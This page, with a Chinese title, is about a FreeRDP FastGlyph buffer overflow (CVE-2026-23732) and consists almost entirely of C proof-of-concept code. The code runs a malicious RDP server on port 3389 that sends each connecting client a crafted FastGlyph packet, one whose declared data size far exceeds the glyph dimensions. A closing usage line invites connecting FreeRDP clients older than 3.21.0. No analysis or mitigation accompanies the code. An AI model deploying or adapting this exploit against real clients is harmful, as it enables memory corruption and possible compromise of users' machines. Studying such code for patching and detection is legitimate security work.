FreeRDP FastGlyph解析缓冲区溢出漏洞 (CVE-2026-23732)

// PoC for CVE-2026-23732 - FreeRDP FastGlyph Buffer Overflow // This is a malicious RDP server that sends crafted FastGlyph data #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #define RDP_PORT 3389 // Malicious FastGlyph packet structure typedef struct { uint8_t flags; uint16_t cbData; // Declared data size - attacker controlled uint16_t cx; // Glyph width uint16_t cy; // Glyph height uint8_t* data; // Malicious data } MaliciousFastGlyph; // Craft a FastGlyph packet with overflow condition void craft_malicious_fastglyph(MaliciousFastGlyph* glyph) { // Set small glyph dimensions glyph->cx = 8; // Small width glyph->cy = 8; // Small height // But declare large cbData - triggers buffer overflow // Required size for 8x8 glyph = 8 * 8 = 64 bytes // But we declare much more glyph->cbData = 1024; // 16x the actual required size // Allocate malicious data glyph->data = (uint8_t*)malloc(glyph->cbData); memset(glyph->data, 0x41, glyph->cbData); // Fill with 'A' } // Send malicious RDP response void send_malicious_rdp_response(SOCKET client_socket) { MaliciousFastGlyph glyph; craft_malicious_fastglyph(&glyph); // Build RDP FastPath packet with malicious FastGlyph uint8_t packet[2048]; memset(packet, 0, sizeof(packet)); // FastPath header packet[0] = 0x30; // FastPath packet type packet[1] = 0x03; // Encryption flags // FastGlyph structure int offset = 2; packet[offset++] = glyph.flags; packet[offset++] = (glyph.cbData) & 0xFF; packet[offset++] = (glyph.cbData >> 8) & 0xFF; packet[offset++] = (glyph.cx) & 0xFF; packet[offset++] = (glyph.cx >> 8) & 0xFF; packet[offset++] = (glyph.cy) & 0xFF; packet[offset++] = (glyph.cy >> 8) & 0xFF; // Copy malicious glyph data memcpy(&packet[offset], glyph.data, glyph.cbData); // Send packet send(client_socket, (const char*)packet, offset + glyph.cbData, 0); free(glyph.data); } int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server_addr; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(RDP_PORT); server_addr.sin_addr.s_addr = INADDR_ANY; bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)); listen(server_socket, 1); printf("Malicious RDP Server for CVE-2026-23732\n"); printf("Listening on port %d...\n", RDP_PORT); while (1) { SOCKET client_socket = accept(server_socket, NULL, NULL); printf("Client connected, sending malicious payload...\n"); send_malicious_rdp_response(client_socket); closesocket(client_socket); } closesocket(server_socket); WSACleanup(); return 0; } // Usage: Run this server and connect any FreeRDP client < 3.21.0